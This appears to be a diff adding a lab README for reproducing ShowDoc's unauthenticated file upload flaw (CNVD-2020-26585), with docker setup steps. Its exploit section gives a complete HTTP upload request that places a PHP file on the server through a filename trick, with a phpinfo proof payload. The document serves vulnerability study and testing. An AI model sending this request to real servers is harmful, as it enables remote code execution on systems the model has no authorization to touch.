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+# ShowDoc Unauthenticated File Upload and Remote Code Execution (CNVD-2020-26585)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+ShowDoc is a tool greatly applicable for an IT team to share documents online. It can promote communication efficiency between members of a team.
+
+ShowDoc version before 2.8.7, an unrestricted and unauthenticated file upload issue is found and attacker is able to upload a webshell and execute arbitrary code on server.
+
+References:
+
+- <https://github.com/star7th/showdoc/pull/1059>
+- <https://github.com/star7th/showdoc/commit/fb77dd4db88dc23f5e570fc95919ee882aca520a>
+- <https://github.com/star7th/showdoc/commit/e1cd02a3f98bb227c0599e7fa6b803ab1097597f>
+
+## Vulnerable environment
+
+Execute following command to start a ShowDoc server 2.8.2:
+
+```
+docker compose up -d
+```
+
+After the server is started, browse `http://your-ip:8080` to see the index page of ShowDoc.
+
+## Exploit
+
+Simply send following request to upload a PHP file:
+
+```
+POST /index.php?s=/home/page/uploadImg HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0RdOKBR8AmAxfRyl
+Content-Length: 213
+
+------WebKitFormBoundary0RdOKBR8AmAxfRyl
+Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
+Content-Type: text/plain
+
+<?=phpinfo();?>
+------WebKitFormBoundary0RdOKBR8AmAxfRyl--
+
+```
+
+PHP file address will be respond:
+
+![](1.png)
+
+`phpinfo()` is executed successfully:
+
+![](2.png)